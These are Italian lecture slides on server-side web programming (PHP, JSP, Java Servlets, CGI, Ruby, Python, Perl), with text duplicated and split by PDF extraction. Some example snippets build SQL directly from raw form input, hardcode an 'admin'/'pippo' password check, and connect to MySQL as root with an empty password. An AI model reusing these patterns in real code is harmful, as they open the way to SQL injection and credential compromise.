Scripting server-side - I Linguaggi di programmazione per costruire applicazioni web: Client-side • Javascript • (Adobe Flash) Server-side • scripting (PHP, .NET, JSP) • Java Servlet • Ruby, Python e Perl • (Javascript) Approcci ibridi • AJAX, JQuery rispetto alle distinzioni viste prima, queste soluzioni: sono linguaggi di programmazione o di scripting (e non di mark-up) alcune sono tecnologie client-side (il codice è elaborato sul client, dal browser), altre sono server-side (il codice è elaborato sul server) a.a. 2014/15 Tecnologie Web 1 Scripting server-side - II I linguaggi di scripting server-side ci permettono di scrivere pagine web che contengono: • codice HTML (+ eventuale codice Javascript client-side) inviato al client (browser) che lo interpreta • codice di scripting server-side, interpretato dal web server: al client (browser) viene inviato il risultato dell'interpretazione (elaborazione), cioè – in linea di massima – codice HTML rispetto alle distinzioni viste prima, i linguaggi di scripting server-side: sono linguaggi di programmazione (e non di mark-up) sono eseguiti server-side (il codice è elaborato sul server) a.a. 2014/15 Tecnologie Web 2 1 Scripting server-side - III Le tecnologie server-side (in generale, e gli script server-side in particolare) servono principalmente per: 1. acquisire informazioni dal client, per es: dati inseriti dall'utente dall utente in un modulo online; dati contenuti in un link [1] 2. inserire dati in un database (per es. i dati di registrazione di un utente) o leggere dati da un database (per es. per verificare username e password di un utente) [2] Per far funzionare gli script server-side è necessario che il web server "supporti" la tecnologia utilizzata è necessario che il web server se ve contenga co e g u un interprete e p e e per pe il linguaggio gu gg o di d scripting prescelto [3] Inoltre, siccome tipicamente gli script server-side interagiscono con un database è necessario che sul "server" ci sia un DBMS[2] che supporti l'interazione con il database prescelto a.a. 2014/15 Tecnologie Web 3 Scripting server-side - IV nome = maria [1] eta = 18-25 insert.php HTTP ... request q Web Server [3] Interprete HTTP response (es. PHP) <?php p p $nome=$_POST["nome"]; $eta=$_POST["eta"]; ... //inserimento nel DB ?> a.a. 2014/15 Come ti chiami? maria Quanti da 18 a 25 anni hai? invia … Ciao Maria! Ho inserito i tuoi dati... ... [2] DBMS (es: MySQL Server) DB INSERT INTO utenti VALUES ($nome, $eta) Tecnologie Web 4 2 Inviare dati al Web Server - I [1] I dati da inviare al Web Server possono derivare da: • moduli online (form) • link con parametri Il client invia i dati al Web Server inserendoli nell nell'HTTP HTTP request Esistono due modi per codificare i dati nell'HTTP request: • metodo GET • metodo POST vediamo: 1. moduli online (form) 2. link con parametri 3. contenuto di HTTP request 4. differenza tra i metodi GET e POST a.a. 2014/15 Tecnologie Web [1] 5 Inviare dati al Web Server - II Moduli online (form) [www.html.it/guide/guida-html/, lez. 44-50] In HTML HTML... <FORM METHOD="POST" ACTION="id.php" > Login: <INPUT TYPE="TEXT" NAME="login"/> Password: <INPUT TYPE="PASSWORD" NAME="pwd"/> <INPUT TYPE="Submit" VALUE="OK"/> </FORM> ... un modulo online (form) contiene: a. campi di input (tag <INPUT...> e altri) b. metodo (attributo METHOD del tag <FORM...>) c. azione (attributo ACTION del tag <FORM...>) a.a. 2014/15 Tecnologie Web 6 3 [1] a. Inviare dati al Web Server - III campi di input = elementi attraverso cui l'utente fornisce dei dati, per es: tra i campi di input c'è anche il pulsante di invio! b. c. metodo = modo in cui vengono codificati i dati da inviare al server azione i = script i (o ( programma)) che h "raccoglie" " li " edd "elabora" i dati contenuti nel form a.a. 2014/15 [1] Tecnologie Web 7 Inviare dati al Web Server - IV Contenuto di HTTP request Cosa succede quando l'utente fa click sul pulsante di invio? Viene costruita una HTTP request che contiene: indicazione della risorsa server server-side side (script o • ll'indicazione programma) che "gestirà" i dati, ricavata dall'attributo ACTION, per es: ACTION="id.php" • i dati, nella forma di coppie <nome, valore>, ricavati dai campi di input riempiti/selezionati dall'utente Per es: HTTP request: risorsa = identif.php g admin> dati: <login, <pwd, pippo> All'interno di HTTP request i dati (parametri) possono essere codificati in due modi, a seconda dell'indicazione contenuta nell'attributo METHOD del tag <FORM...>... a.a. 2014/15 Tecnologie Web 8 4 [1] Inviare dati al Web Server - V Differenza tra i metodi GET e POST • metodo GET: i dati, cioè le coppie <nome, valore>, sono scritti in coda alla risorsa saranno quindi visibili nell'URL (nella barra degli indirizzi del browser) Per es: HTTP header risorsa = identif.php ?login=admin&pwd=pippo ... HTTP body ... • metodo POST: i dati (parametri), cioè le coppie <nome, valore>, sono scritti all'interno del corpo p ((body) y) di HTTP request non saranno quindi HTTP header visibili nella barra degli risorsa = identif.php indirizzi del browser Per es: ... HTTP body dati: <login, admin> <pwd, pippo> Tecnologie Web... a.a. 2014/15 [1] 9 Inviare dati al Web Server - VI Link con parametri In HTML... <A HREF="param.php?risposta=alan">Alan</A> <BR> <A HREF="param.php?risposta=kit">Kit</A> <BR> <A HREF="param.php?risposta=john">John</A> Cosa succede quando l'utente fa click sul un link? Viene costruita una HTTP request che contiene: HTTP header risorsa = param.php param php ?risposta ?risposta=kit kit ... HTTP body ... NB l'indicazione della risorsa server-side (script o programma) è nel link (attributo HREF), insieme ai dati il metodo usato nell'HTTP request per la codifica dei dati è GET! a.a. 2014/15 Tecnologie Web 10 5 [1] Inviare dati al Web Server - VII Vi ricordate l'URL rewriting, utilizzato per gestire la sessione se i cookies sono stati disattivati? Avevamo detto che il Web Server scrive il session-id come parametro degli URL presenti nella pagina... Ora siamo in grado di capire cosa vuol dire: quando il client deve costruire un'HTTP request (per es. quando l'utente clicca su un link), all'URL (risorsa) indicata nell'HTTP request viene aggiuto il session-id; per es: <A HREF="adduser.php"> diventa: <A HREF="adduser.php?PHPSESSID=68cf093a2ec5aa4f6cb60"> a.a. 2014/15 Tecnologie Web [2] Salvare 11 i dati in un database - I • I database ci permettono di salvare dati in modo strutturato • Esistono diverse tipologie di database, basate su principi di strutturazione diversi: database relazionali, database ad oggetti, gg , ... • I tipi di database più utilizzati sono i database relazionali • La struttura di un database relazionale (quali tipi di informazioni contiene, quali relazioni hanno le informazioni tra loro, ...) può essere definita a vari livelli: vista 1 vista 2 vista n livello concettuale livello logico livello fisico a.a. 2014/15 Tecnologie Web 12 6 [2] Salvare i dati in un database - II Livello logico: rappresentazione tabellare dei dati Esempio: colonna/campo Tabella: LIBRI N.Inv Autore Titolo Anno_ed Casa_ed riga/record cella Quando vogliamo costruire una tabella, dobbiamo innanzitutto definire la sua struttura: i nomi dei campi (colonne) e i tipi di dati in essi contenuti a.a. 2014/15 Tecnologie Web [2] Salvare 13 i dati in un database - III Interazione con un database (utente, tramite una User Interface, o script server-side/programma): • interrogazione (leggo da DB) • inserimento di dati (scrivo nel DB) • cancellazione di dati ("scrivo" nel DB) • aggiornamento User Interface (scrivo nel DB) database Script (server-side) <? $c=mysql_connect("localhost“,"root",""); mysql_select_db("bacheca"); $sql="SELECT * FROM ut WHERE co='Rossi'"; $ris = mysql_query($sql) ... ?> a.a. 2014/15 Tecnologie Web 14 7 [2] Salvare i dati in un database - IV Ogni interazione con la base di dati: – viene interpretata, analizzata ed eseguita dal DBMS (DataBase Management System) – costituisce una query, espressa (direttamente oppure tradotta) in SQL (Structured Query Language), es: SELECT * FROM libri WHERE editore='Feltrinelli' INSERT INTO utenti VALUES (nome, eta) – restituisce come risultato un insieme di record (recordset), es: n.inv autore titolo casa_ed 123 456 789 Allende Eva Luna Feltrinelli Terra Feltrinelli Benni Feltrinelli Voltolini 10 a.a. 2014/15 [3] Interpretare Tecnologie Web 15 gli script server-side - I Le principali tecnologie di scripting server-side sono: • PHP: open source [www.php.net, www.html.it/guide/guida-php-di-base/] • ASP ASP.NET NET [www.asp.net www asp net]: complesso framework di Microsoft per lo sviluppo di pagine ed applicazioni Web che include anche meccanismi di scripting server-side (ma non è limitato a questi), es. con i linguaggi Visual Basic o C# • JSP (Java Server Pages): di Sun Microsystems/Oracle [www.oracle.com/technetwork/java/javaee/jsp/index.html] A cui si è aggiunto, recentemente, un linguaggio di programmazione che può essere usato anche come linguaggio di scripting (server-side): • Ruby: open source [www.ruby-lang.org] a.a. 2014/15 Tecnologie Web 16 8 [3] Interpretare gli script server-side: PHP - I Applicazione web scritta in PHP = insieme di "pagine web", cioè file di testo, con estensione .php, che contengono: – Codice HTML (+ eventualmente Javascript client-side) – Codice PHP ((= script server-side) server side) Esempio: <P ALIGN="CENTER"> HTML (interpretato <FONT FACE="Verdana" SIZE="3"> dal browser) <B>Prova form 1 (php)</B></FONT> </P> <? script PHP $id = $_POST["login"]; ((interpretato p $pwd = $ $_POST["password"]; POST["password"]; if ($id == "admin" && $pwd == "pippo") { dall'interprete echo "<P>Benvenuto amministratore!</P>";} PHP, sul server) else { echo "<P>Buongiorno ".$id."</P>";} ?> a.a. 2014/15 [3] Interpretare Tecnologie Web 17 gli script server-side: PHP - II Tipicamente: sistema web server DBMS interprete script operativo server-side Linux Apache p MySQL y Q PHP L. A. M. Linux (www.linuxfoundation.org) Apache (www.apache.org) MySQL (www.mysql.com) PHP (www.php.net) P. tutte tecnologie Open Source[*] N : so NB: sono o poss possibili b combinazioni co b a o ddiverse... ve se... Per es: Windows + Apache + MySQL + PHP = W.A.M.P. Mac OS + Apache + MySQL + PHP = M.A.M.P. Nota: XAMPP = pacchetto multi-piattaforma (X = qualunque S.O.) contenente Apache, MySQL, PHP e Perl a.a. 2014/15 Tecnologie Web 18 9 [*] Digressione: Open Source - I Breve parentesi sull'open source [www.opensource.org] Open Source Initiative (OSI) = associazione no-profit che ha ll'obiettivo obiettivo di gestire e promuovere la produzione di software open source Il software open source (o software libero) deve rispettare una serie di criteri: • • • • • Il codice sorgente del programma deve essere disponibile Il software può essere modificato e distribuito (con un nome diverso) alle stesse condizioni La licenza del software deve consentire a chiunque di ridistribuire il software secondo le stesse modalità Chiunque può partecipare allo sviluppo del software Il software deve essere distribuito gratuitamente (senza diritti d'autore o profitti) a.a. 2014/15 Tecnologie Web [*] Digressione: 19 Open Source - II L'idea che sta alla base dell'Open Source Initiative è la seguente: quando i programmatori hanno la possibilità di leggere, modificare e ridistribuire il codice sorgente di un programma quel software si evolve programma, evolve. La gente lo migliora, migliora lo adatta, lo corregge. E tutto questo può avvenire con una rapidità che appare impressionante a chi è abituato ai ritmi lenti dello sviluppo del software convenzionale. La comunità dell'open source ha imparato che questo rapido processo evolutivo produce software migliore rispetto al tradizionale modello chiuso, nel quale solo pochissimi hi i i programmatorii hanno h accesso all codice di sorgente e tutti gli altri devono avere a che fare con un imperscrutabile e oscuro blocco di bit. [da www.opensource.org] a.a. 2014/15 Tecnologie Web 20 10 [3] Interpretare gli script server-side: ASP.NET • ASP.NET = framework (gratuito) che supporta la costruzione di applicazioni Web (pagine Web con estensione .aspx) • nel framework .NET possono essere utilizzi diversi linguaggi di scripting/programmazione: i ti / i il più iù usato t è Vi Visuall C# • Visual Studio = ambiente di sviluppo integrato (IDE) di Microsoft per sviluppare applicazioni Web, mobile e Windows in ambiente .NET comprende: – .NET Framework – IIS (Web Server) – SQL Server (DBMS) • Visual Studio include anche delle librerie client-side (per inserire script Javascript, AJAX, JQuery, ...) • Visual Studio Express = versione gratuita per sviluppare app. Web (scaricabile da www.asp.net, Get Started) a.a. 2014/15 [3] Interpretare Tecnologie Web 21 gli script server-side: JSP - I Applicazione web basata sulle JSP (Java Server Pages) = insieme di "pagine web", cioè file di testo, con estensione .jsp, che contengono: – Codice HTML (+ eventualmente Javascript client-side) – Codice C di Java, J oppure tag JSTL (JSP Standard S d d Tag T Library Lb = libreria di tag che corrispondono ad istruzioni Java) Esempio: <P ALIGN="CENTER"> HTML (interpretato <FONT FACE="Verdana" SIZE="3"> <B>Prova JSP/JSTL (sql)</B></FONT> dal browser) </P> <sql:setDataSource driver="com driver= com.mysql.jdbc.Driver mysql jdbc Driver" JSTL url="jdbc:mysql://localhost/database_name" tags var="localSource" user="database_user" password="database_password"/> <sql:query dataSource="${localSource}" sql="SELECT * FROM products WHERE price > 100" var="result" /> a.a. 2014/15 Tecnologie Web 22 11 [3] Interpretare gli script server-side: JSP - II Note: • Java è un linguaggio di programmazione orientato agli oggetti[*], nato all’inizio degli anni '90 presso la Sun Microsystems (ora Oracle), che viene (apparentemente) utilizzato anche come linguaggio di scripting... scripting • I tag JSTL assomigliano ai tag di un linguaggio di mark-up... ma non lo sono! Vengono infatti tradotti in istruzioni Java Infatti... il funzionamento delle JSP è diverso rispetto alle altre tecnologie di scripting (es. PHP): una JSP viene tradotta in una Java Servlet, Servlet cioè un programma Java che viene poi automaticamente compilato ed eseguito: la sua esecuzione genera la pagina Web Vediamo cosa sono le Servlet, poi torniamo a vedere come funzionano le JSP... a.a. 2014/15 [*] Digressione: Tecnologie Web 23 paradigmi di programmazione - I Metodo classico di software design = top-down functional (structured) design = scomposizione gerarchica funzionale paradigma procedurale: procedura (algoritmo) = sequenza di passi per raggiungere il risultato Pes es. iscrizione ad un appello = scomposizione in passi via via più semplici, elementari = procedura per iscriversi ad un appello iscrizione login ins. id-pswd p selez.es. prenotaz. autorizzaz. ecc… ver. id-pswd PROGRAMMI = PROCEDURE + STRUTTURE-DATI a.a. 2013/14 Tecnologie Web 24 12 [*] Digressione: paradigmi di programmazione - II Metodo alternativo = object-oriented design = si parte dagli oggetti, non dalle funzionalità! paradigma ad oggetti: oggetti che interagiscono tra loro scambiandosi bi d i dei d i messaggii = collaborazione ll b i per raggiungere il risultato Pes es. iscrizione ad un appello = entità coinvolte nell'attività e loro relazioni verifica gestore id-pswd id-pswd dati studenti autorizz. selez. appello interfaccia studenti prenota app app. gestore appelli ecc… PROGRAMMI = OGGETTI (DATI + PROCEDURE) + COLLABORAZIONE (MESSAGGI) a.a. 2013/14 [*] Digressione: Tecnologie Web 25 paradigmi di programmazione - III • I linguaggi orientati agli oggetti (object-oriented) sono caratterizzati dall'uso della dot notation, per es: window.close(); [istruzione Javascript per chiudere la finestra corrente] document.write("..."); [istruzione Javascript per scrivere qualcosa nella pagina corrente] • Esempi di linguaggi object-oriented: Java, C++, Javascript, (parzialmente) PHP, (volendo) Ruby, (volendo) Python, ... a.a. 2013/14 Tecnologie Web 26 13 Java Servlet - I Linguaggi di programmazione per costruire applicazioni web: Client-side • Javascript • (Adobe Flash) Server-side • scripting (PHP, .NET, JSP) • Java Servlet • Ruby, Python e Perl • (Javascript) Approcci ibridi • AJAX, JQuery rispetto alle distinzioni viste prima, queste soluzioni: sono linguaggi di programmazione o di scripting (e non di mark-up) alcune sono tecnologie client-side (il codice è elaborato sul client, dal browser), altre sono server-side (il codice è elaborato sul server) a.a. 2014/15 Tecnologie Web 27 Java Servlet - II Le Java Servlet (www.oracle.com/technetwork/java/index-jsp135475.html) sono dei programmi Java pensati per la programmazione sul Web • li si deve poter invocare "attraverso" il Web Server (per es. es tramite un URL) • devono essere in grado di manipolare HTTP (request e response); in particolare: il Web Server deve poter passare al programma la HTTP request proveniente dal client (browser) contenente i dati, affinché la Servlet possa leggerne il contenuto quando la Servlet ha elaborato il risultato (per es. un frammento di codice HTML), lo mette dentro all'HTTP response che verrà inviata al client (browser) dal Web Server a.a. 2014/15 Tecnologie Web 28 14 Java Servlet - III Le Servlet (come le tecnologie di scripting server-side) servono principalmente per: 1. acquisire informazioni dal client, per es: dati inseriti dall'utente in un modulo online; dati contenuti in un link 2. inserire dati in un database (per es. i dati di registrazione di un utente) o leggere dati da un database (per es. per verificare username e password di un utente) tutto ciò che abbiamo detto (parlando di scripting server-side) a proposito di: moduli online (form), link con parametri, contenuto di HTTP request, differenza tra GET e POST, vale anche per le Servlet! rispetto alle distinzioni viste prima, le Servlet sono programmi Java, che è un linguaggio di programmazione sono eseguite server-side (il codice è eseguito sul server) a.a. 2014/15 Tecnologie Web 29 Java Servlet - IV Per costruire un'applicazione Web basata sulle Servlet è necessario un Servlet Container (o Web Container o Servlet Engine) che: – "carica" le Servlet nel processo del Web Server (alla prima invocazione della Servlet) – supporta il protocollo HTTP (per gestire il flusso HTTP request/HTTP response) – gestisce al suo interno più applicazioni, ognuna identificata da un servlet context (nome univoco) a.a. 2014/15 Tecnologie Web 30 15 Java Servlet - V nome = maria eta = 18-25 "inserisci" ... HTTP request Web Server interprete bytecode Java (JRE) Servlet HTTP Container response SERVLET inserisci DBMS Print("Ciao,"+nome); ... //inserimento nel DB /*invia ris in HTTPresponse*/ a.a. 2014/15 (es: MySQL Server) Come ti chiami? maria Quanti da 18 a 25 anni hai? invia … Ciao Maria! Maria! Ciao Ho inserito i tuoi dati... ... … DB INSERT INTO utenti VALUES ($nome, $eta) Tecnologie Web 31 Java Servlet - VI Tipi di Servlet Container: • Servlet Container incluso nel Web server: alcuni Web server ((scritti in Java)) includono un Servlet Container;; per es: Tomcat [vedi prossima slide] • Servlet Container in J2EE Application Server: esiatono degli Application Server che includono un Web server e un Servlet Container; per es: Glassfish [vedi prossima slide] • Servlet Container in "runtime" runtime separato: Web server come Apache e Microsoft IIS necessitano di un Servlet Container in un modulo separato per gestire le Servlet (+ un plug-in che gestisce la comunicazione tra Web server e Servlet Container) a.a. 2014/15 Tecnologie Web 32 16 Java Servlet - VII Tomcat (tomcat.apache.org) Tomcat è un Web server open source, sviluppato dalla Apache Software Foundation, che include un Servlet Container Glassfish (glassfish.java.net) GlassFish è un Application Server[*] open source, sviluppato inizialmente dalla Sun Microsystems e attualmente gestito dalla Oracle; include un Web server e un Servlet Container [*] Application A li ti Server S = software ft che h comprende d diverse di funzionalità per la gestione di applicazioni complesse; tipicamente, include un Web server a.a. 2014/15 [3] Interpretare Tecnologie Web 33 gli script server-side: JSP - III Torinamo alle JSP e cerchiamo di capire come funzionano... Alla prima richiesta di una pagina JSP, viene invocato un Compilatore JSP che crea una Java Servlet: p ) in – trasforma i tagg HTML ((e le eventuali istruzioni Javascript) istruzioni Java che scrivono nel body della HTTPresponse (quindi sulla pagina Web che sarà visualizzata dal browser) es: <P ALIGN='CENTER'> PrintWriter pw; pw = httpResp.getWriter(); pw.print("<P ALIGN='CENTER'>"); – se la JSP contiene direttamente codice Java, lo include nella Servlet – se la JSP contiene tag JSTL, li traduce in istruzioni Java e le include nella Servlet a.a. 2014/15 Tecnologie Web 34 17 [3] Interpretare gli script server-side: JSP - IV per far funzionare le JSP è necessaria la stessa tecnologia che si usa per le Java Servlet (un Web server con un Servlet Container) + un compilatore JSP (motore JSP), che traduce la JSP in una Servlet Tomcat e Glassfish contengono, oltre al Servlet Container, anche il motore JSP a.a. 2014/15 Tecnologie Web 35 Ruby, Python e Perl Linguaggi di programmazione per costruire applicazioni web: Client-side • Javascript • (Adobe Flash) Server-side • scripting (PHP, .NET, JSP) • Java Servlet • Ruby, Python e Perl • (Javascript) Approcci ibridi • AJAX, JQuery rispetto alle distinzioni viste prima, queste soluzioni: sono linguaggi di programmazione o di scripting (e non di mark-up) alcune sono tecnologie client-side (il codice è elaborato sul client, dal browser), altre sono server-side (il codice è elaborato sul server) a.a. 2014/15 Tecnologie Web 36 18 Common Gateway Interface (CGI) - I Per capire come funzionano Ruby, Python, Perl dobbiamo introdurre un "vecchio" concetto: gli script CGI • CGI = Common Gateway Interface = standard che definisce la comunicazione tra un Web Server e programma p g (generalmente compilato), che risiede sul file system del server NB si usa spesso il termine "script CGI" (o "CGI scripting"), ma NON si tratta di script che si trovano all'interno di una pagina web (accanto all'HTML)!! Si tratta invece di programmi "veri e propri", generalmente compilati (il cui funzionamento è simile a quello delle Java Servlet)) • I linguaggi di programmazione più usati sono Perl, Python, C e C++ NOTA: esiste una tecnologia chiamata FastCGI che permette l'uso di linguaggi di scripting interpretati (e non compilati) con CGI (x es. PHP) a.a. 2014/15 Tecnologie Web 37 Common Gateway Interface (CGI) - II Come funziona un programma CGI? Il Web Server... 1. riceve dal Web Client (browser), tramite URL (es: http://myserver.it/cgi-bin/myprogram?par1=pri&par2=sec), la richiesta di (esecuzione di) un programma (eventualmente con dei parametri) 2. attraverso l'interfaccia CGI[*], passa al programma i dati (parametri) ricevuti 3. attraverso l'interfaccia CGI[*], manda in esecuzione il programma richiesto e riceve il risultato dell'elaborazione (sempre tramite l'interfaccia CGI) 4 invia al Web Client (browser) il risultato 4. • RISORSE: http://www.tutorialspoint.com/perl/perl_cgi.htm openskill.info/infobox.php?ID=538 telemat.det.unifi.it/book/Unix/Unix/relaz/cgi.htm it.wikipedia.org/wiki/Common_Gateway_Interface a.a. 2014/15 Tecnologie Web 38 19 Common Gateway Interface (CGI) - III [*] In cosa consiste un'interfaccia CGI? Configurazione del Web Server (a cui si dicono varie cose, di cui la più importante è dove percorso nel file system si trovano i programmi CGI: generalemente cartella cgi-bin) Un programma CGI contiene, contiene tipicamente, tipicamente istruzioni che corrispondono a comandi del sistema operativo o istruzioni in un linguaggio di programmazione (es. Perl, Python, C e C++); x es (Perl): #!/usr/bin/perl –Tw print "Content-Type: text/html\n\n"; print "<html><head<title>HP</title></head>"; ... il Web Server,, quanto q riceve una HTTP request, q , riconosce che si tratta della richiesta di esecuzione di un programma CGI se è stato opportunamente configurato e se il programma è presente nella cartella apposita (generalemente cgi-bin) il programma CGI viene eseguito (spesso la prima riga contiene l'indicazione di quale interprete usare) a.a. 2014/15 Tecnologie Web 39 Common Gateway Interface (CGI) - IV nome = maria eta = 18-25 "inserisci" ... HTTP request Web Server config x CGI HTTP response CGI interprete programma (es. Python) inserisci print("Ciao,"+nome); ... #inserimento nel DB #invia ris in #HTTPresponse a.a. 2014/15 DBMS (es: MySQL Server) Come ti chiami? maria Quanti da 18 a 25 anni hai? invia … Ciao Maria! Maria! Ciao Ho inserito i tuoi dati... ... … DB INSERT INTO utenti VALUES (nome, eta) Tecnologie Web 40 20 Ruby - I • Ruby (www.ruby-lang.org) è linguaggio di programmazione molto utilizzato sul web (serverside), creato in Giappone all'inizio degli anni '90 • E' open source • E' un linguaggio object-oriented (ma supporta diversi paradigmi di programmazione) • E' un linguaggio interpretato • Sul web può essere usato a) per scrivere programmi ("script") invocabili tramite CGI (www.html.it/pag/17448/cgi www html it/pag/17448/cgi), ) oppure b) come linguaggio di scripting (nelle pagine HTML, con estensione .rhtml) grazie a embedded Ruby (eRuby/ERb): www.html.it/pag/17450/embedded-ruby • Una guida: www.techotopia.com/index.php/Ruby_Essentials a.a. 2014/15 Tecnologie Web 41 Ruby – II a) con CGI nome = maria eta = 18-25 "inserisci" ... HTTP request Web Server config x CGI HTTP response CGI interprete Ruby programma Ruby inserisci puts "Ciao,"+nome ... #inserimento nel DB #invia ris in #HTTPresponse a.a. 2014/15 DBMS (es: MySQL Server) Come ti chiami? maria Quanti da 18 a 25 anni hai? invia … Ciao Maria! Maria! Ciao Ho inserito i tuoi dati... ... … DB INSERT INTO utenti VALUES (nome, eta) Tecnologie Web 42 21 Ruby – III b) nelle pagine HTML nome = maria eta = 18-25 "ins.rhtml" ... HTTP request Web Server Interprete HTTP response Ruby <% p [ ] nome=params[:nome] eta=params[:eta] ... #inserimento nel DB %> a.a. 2014/15 DBMS (es: MySQL Server) Come ti chiami? maria Quanti da 18 a 25 anni hai? invia … Ciao Maria! Ho inserito i tuoi dati... ... DB INSERT INTO utenti VALUES ($nome, $eta) Tecnologie Web 43 Python - I • Python (www.python.org) è linguaggio di programmazione molto utilizzato sul web (server-side) • La sua implementazione di base (CPython, reference p ) è open p source ed è ggestita dalla Python y implementation) Software Foundation (www.python.org/psf) • E' un linguaggio object-oriented (ma supporta diversi paradigmi di programmazione) • Utilizza un approccio "misto" (come Java): il codice sorgente viene compilato in un linguaggio intermedio (bytecode), specifico p di Python, y il quale q viene poi p interpretato p ed eseguito dall'interprete (Virtual Machine) • Sul web può essere usato per scrivere programmi ("script") invocabili tramite CGI (https://docs.python.org/2/library/cgi.html) • Una guida: www.erweb.it/pub/tecnologie_python.php a.a. 2014/15 Tecnologie Web 44 22 Python - II • E' uno dei 4 linguaggi utilizzati da Google (insieme a Javascript, Java e C++), è il principale linguaggio con cui è implementato YouTube, è usato al CERN e alla NASA, ... • Nel download di Python (che comprende nome = maria compilatore il e = 18-25 HTTP interprete) è incluso eta "inserisci" request ... anche un ambiente Web di sviluppo (un IDE: Server vedi prox slide) config x CGI chiamato HTTP response IDLE Come ti chiami? maria Quanti da 18 a 25 anni hai? invia … CGI Ciao Maria! Ciao Maria! Ho inserito i tuoi dati... ... … interprete bytecode Python programma Python inserisci a.a. 2014/15 print("Ciao,"+nome); ... #inserimento nel DB #invia ris in #HTTPresponseTecnologie Web DBMS (es: MySQL Server) DB INSERT INTO utenti VALUES (nome, eta) 45 Perl - I • Perl (https://www.perl.org) è linguaggio di programmazione utilizzato anche sul web (serverside), creato nel 1987 da Larry Wall • E' open source • E' un linguaggio procedurale (ma supporta diversi paradigmi di programmazione , tra cui quello object-oriented) • E' un linguaggio interpretato • Sul web può essere usato per scrivere programmi ("script") invocabili tramite CGI (www.tutorialspoint.com/perl/perl_cgi.htm www.tutorialspoint.com/perl/perl cgi.htm) • Una guida: www.erweb.it/pub/tecnologie_perl.php a.a. 2014/15 Tecnologie Web 46 23 Perl - II nome = maria eta = 18-25 "inserisci" ... HTTP request Web Server config x CGI HTTP response CGI interprete Perl programma Perlinserisci print "Ciao,"+nome; ... #inserimento nel DB #invia ris in #HTTPresponse a.a. 2014/15 DBMS (es: MySQL Server) Come ti chiami? maria Quanti da 18 a 25 anni hai? invia … Ciao Maria! Maria! Ciao Ho inserito i tuoi dati... ... … DB INSERT INTO utenti VALUES (nome, eta) Tecnologie Web 47 Integrated Development Environments (IDE) • IDE = Integrated Development Environment = strumento software che offre diverse funzionalità integrate a supporto della programmzione [it.wikipedia.org/wiki/Integrated_development_environment it.wikipedia.org/wiki/Integrated development environment] • Tipicamente include: – un editor per scrivere/modificare il codice sorgente – compilatori/interpreti e strumenti per la corretta creazione dell'applicazione finale (es. file di configurazione, ecc.) – strumenti per il "debugging" debugging , cioè per la ricerca e la correzione degli errori ("bug" = errore nel software) • Alcuni IDE sono dedicati ad un singolo linguaggio di programmazione, altri supportano più linguaggi a.a. 2014/15 Tecnologie Web 48 24 IDE: NetBeans • NetBeans (https://netbeans.org/) nasce alla Sun Microsystems ed è ora della Oracle • NetBeans nasce come IDE per Java, ma è stato poi esteso per supportare vari altri linguaggi per sviluppare applicazioni W b tra cuii Javascript, Web, J i PHP a.a. 2014/15 Tecnologie Web 49 IDE: Eclipse • Eclipse (www.eclipse.org) è un IDE open source, multilinguaggio, molto utilizzato per sviluppare applicazioni (Web) Java • Può essere esteso per supportare diversi linguaggi (per es. PHP, P ht Ruby, Pyhton, R b Javascript) J i t) e tipi ti i di applicazioni li i i (es. ( applicazioni li i i per smartphone) con l'aggiunta di opportuni plug-in a.a. 2014/15 Tecnologie Web 50 25 Software frameworks - I • Software framework (o semplicemente framework) = o ambiente software, generalmente un insieme di librerie[*] o che offre dei template (("modelli") modelli ) astratti di codice che implementano funzionalità generiche e che possono essere modificati dal programmatore aggiungendo codice specifico, così da implementare funzionalità specifiche o generalmente un framework comprende anche compilatori/interpreti • Web Application Framework (WAF) = software framework per lo svuiluppo di applicazioni Web Generalmente un WAF comprende librerie per l'accesso a database, la gestione delle sessioni, ecc. [it.wikipedia.org/wiki/Framework] a.a. 2014/15 Tecnologie Web 51 Software frameworks - II [*] libreria = insieme di funzioni (o strutture dati) predefinite, utilizzabili all'interno di un programma; lo sviluppo di librerie ha lo scopo di fornire al programmatore funzionalità "già pronte", evitandogli Es: in NetBeans... di dover riscrivere ogni volta le stesse funzioni (es. accesso a database, manipola manipolaz. di dati in formati particolari, ecc.) a.a. 2014/15 Tecnologie Web 52 26 Software frameworks - III • Una delle principali caratteristiche dei framework è che generalmente offrono la possibilità di sviluppare applicazioni multi-piattaforma (o cross-platform): il codice sorgente viene scritto una sola volta e poi distribuito su più piattaforme il framework si occuperà di ricompilare il codice in modo che si adatti automaticamente a sistemi operativi diversi Questo aspetto è molto importante per lo sviluppo di applicazioni per mobile (come vedremo...) • Come scegliere un framework: iquii.com/2014/03/07/comescegliere-il-framework-giusto-per-sviluppare-le-applicazioni-webe-mobile/ a.a. 2014/15 Tecnologie Web 53 Software frameworks - IV Frameworks (WAF) per PHP • Esistono molti framework per PHP • Uno dei più famosi è Zend Framework (framework.zend.com) • Un articolo comparativo: p www.html.it/articoli/framework-php-una-comparazione-1/ • Vedi anche: www.phpframeworks.com Frameworks (WAF) per Python • Esistono diversi framework per Python • Il più famoso è Django (www.djangoproject.com/) • Un elenco: https://wiki.python.org/moin/WebFrameworks p py g Frameworks (WAF) per Ruby • Esistono diversi framework per Ruby • Il più famoso è sicuramete Ruby on Rails, o Rails (rubyonrails.org) a.a. 2014/15 Tecnologie Web 54 27 Tecnologie Web: come scegliere? Ma come si fa a scegliere quale tecnologia usare?!? Generalmente si tiene conto di diversi fattori... per es: – tipo di applicazione da sviluppare (semplice/complessa, multimediale, con molti dati, con molti utenti, molto interattiva, ...) – competenze dei programmatori coinvolti (la tecnolgia è già conosciuta? quanto è facile da apprendere? ) – Sistema Operativo e Web Server (quale S.O./Web Server ho ha disposizione? quali tecnologie sono supportate?) – documentazione disponibile – supporto (comunità di sviluppatori o supporto del produttore) – librerie, moduli e template (esistono librerie e moduli per realizzare u o a tà particolari pa t co a – es. archivi, a c v , photogallery, p otoga e y, ...? funzionalità – popolarità – costo (è free o a pagamento? che tipo di licenze offre?) Un articolo (www.redchar.net/?x=entry:entry120709-002739) e un esempio di discussione sul tema (www2.mokabyte.it/cms/article.run?articleId=VHB-FQD2BD-2HH_7f000001_18359738_5ed22ebf) a.a. 2014/15 Tecnologie Web 55 Suggerimenti bibliografici - I (oltre ai link segnalati nelle slide...) V. Roberto, M. Frailis, A. Gugliotta, P. Omero, Introduzione alle Tecnologie Web, McGraw-Hill, 2005 [NB: fate • "attenzione" perché è un po' vecchiotto...!] Frammenti suggeriti: – Cap. C 5 (La (L programmazione i nell web): b) sez. dda 55.1 1 a 55.5 5 + dda 55.8 8 a 55.10 10 • V. Della Mea, L. Di Gaspero, I. Scagnetto, Programmazione Web Lato Server 